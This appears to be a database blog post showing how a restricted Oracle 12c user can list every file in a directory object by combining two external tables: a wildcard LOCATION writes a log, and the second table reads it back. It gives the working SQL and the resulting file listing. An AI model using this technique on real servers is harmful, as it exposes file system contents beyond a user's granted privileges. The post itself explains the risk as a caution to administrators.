I’ve wrote about privilege escalation with external tables in this post:
https://blog.ora-600.pl/2014/12/23/simple-technics-of-privilege-escalation-part2-dbasysdba/
This time we will try to list all files within directory object, to which we have no EXECUTE privs. This is possible due to great new feature of database 12c that allows to use metacharacters to match multiple files in external table.
I have database 12c:
SQL> select banner from v$version; BANNER -------------------------------------------------------------------------------- Oracle Database 12c Enterprise Edition Release 12.1.0.2.0 - 64bit Production PL/SQL Release 12.1.0.2.0 - Production CORE 12.1.0.2.0 Production TNS for Linux: Version 12.1.0.2.0 - Production NLSRTL Version 12.1.0.2.0 - Production
And I’ll create a sample user with limited privileges:
SQL> create user rico identified by kaboom; User created. SQL> create or replace directory dir_oracle as '/home/oracle'; Directory created. SQL> grant connect, resource to rico; Grant succeeded. SQL> grant read, write on directory dir_oracle to rico; Grant succeeded.
Now let’s try to list all files in directory DIR_ORACLE using just external tables.
First we will create external table which will try to read all files from this directory:
SQL> conn rico/kaboom Connected. SQL> get exttab 1 CREATE TABLE gen_list ( 2 txt varchar2(4000) 3 ) 4 ORGANIZATION EXTERNAL ( 5 TYPE ORACLE_LOADER 6 DEFAULT DIRECTORY dir_oracle 7 ACCESS PARAMETERS ( 8 RECORDS DELIMITED BY NEWLINE 9 LOGFILE '.ls.log' 10 DISABLE_DIRECTORY_LINK_CHECK 11 FIELDS TERMINATED BY ',' 12 MISSING FIELD VALUES ARE NULL 13 ( 14 txt 15 ) 16 ) 17 LOCATION ('*') 18 ) 19* REJECT LIMIT 0 SQL> / Table created.
Selecting from this table will probably cause error and return no values – but it will create a logfile – .ls.log
And this log we will read using another table 😉
SQL> ed Wrote file afiedt.buf 1 CREATE TABLE get_list ( 2 txt varchar2(4000) 3 ) 4 ORGANIZATION EXTERNAL ( 5 TYPE ORACLE_LOADER 6 DEFAULT DIRECTORY dir_oracle 7 ACCESS PARAMETERS ( 8 RECORDS DELIMITED BY NEWLINE 9 NOLOGFILE 10 DISABLE_DIRECTORY_LINK_CHECK 11 FIELDS TERMINATED BY ',' 12 MISSING FIELD VALUES ARE NULL 13 ( 14 txt 15 ) 16 ) 17 LOCATION ('.ls.log') 18 ) 19* REJECT LIMIT 0 SQL> / Table created. SQL> select * from get_list; TXT -------------------------------------------------------------------------------- LOG file opened at 02/10/16 23:32:54 KUP-05004: Warning: Intra source concurrency disabled because parallel select was not requested. Location specification * has a wild card Matching files are: .Xauthority TXT -------------------------------------------------------------------------------- .bash_history .bash_logout .bash_profile .bashrc .grid .kshrc .lesshst .ls.log .orcl afiedt.buf aggr.sql TXT -------------------------------------------------------------------------------- alter.sql bash_profile.txt bh.sql count.sql dbm.env disks.sql ehcc.sql exttab.sql fmw_12.1.3.0.0_infrastructure.jar fmw_12.1.3.0.0_odi.jar grid.env TXT -------------------------------------------------------------------------------- grid.env.bck hardcopy.0 hr_spatial.dmp hr_spatial.log im_off.sql im_on.sql im_query1.sql im_query2.sql im_status.sql install2015-04-23_11-44-25.log install2015-04-23_11-57-20.log TXT -------------------------------------------------------------------------------- java0.log join_group_small.sql my_init.ora ne netstat off_off.sql off_on.sql oratop.RDBMS_12.1_LINUX_X64 orcl.env orcl.env.bck orcl1.env TXT -------------------------------------------------------------------------------- orcl2.env orcl3.env orcl4.env plan.sql planoff.sql planon.sql ps_q01.sql ps_q01plan.sql q.sql q01.sql sales_six.sql TXT -------------------------------------------------------------------------------- saprse_dg.sql sesja1.sql sesja2.sql sesja3.sql set_cluster_interconnect.lst set_cluster_interconnect.wk1 size.sql small_Table.sql snapshot.sql spid.sql sql_stat.sql TXT -------------------------------------------------------------------------------- sqldeveloper-4.1.2.20.64-x64.zip ssb.tar tables.sql test.xml union.sql v val.sql with.sql zap.sql zap1.sql zap2.sql TXT -------------------------------------------------------------------------------- zap4.sql zap5.sql zap6.sql Field Definitions for table GEN_LIST Record format DELIMITED BY NEWLINE Data in file has same endianness as the platform Rows with all null fields are accepted Fields in Data Source: TXT -------------------------------------------------------------------------------- TXT CHAR (255) Terminated by " Trim whitespace same as SQL Loader
That’s it 😉
So use external tables with attention. They are powerful and can be dangerous.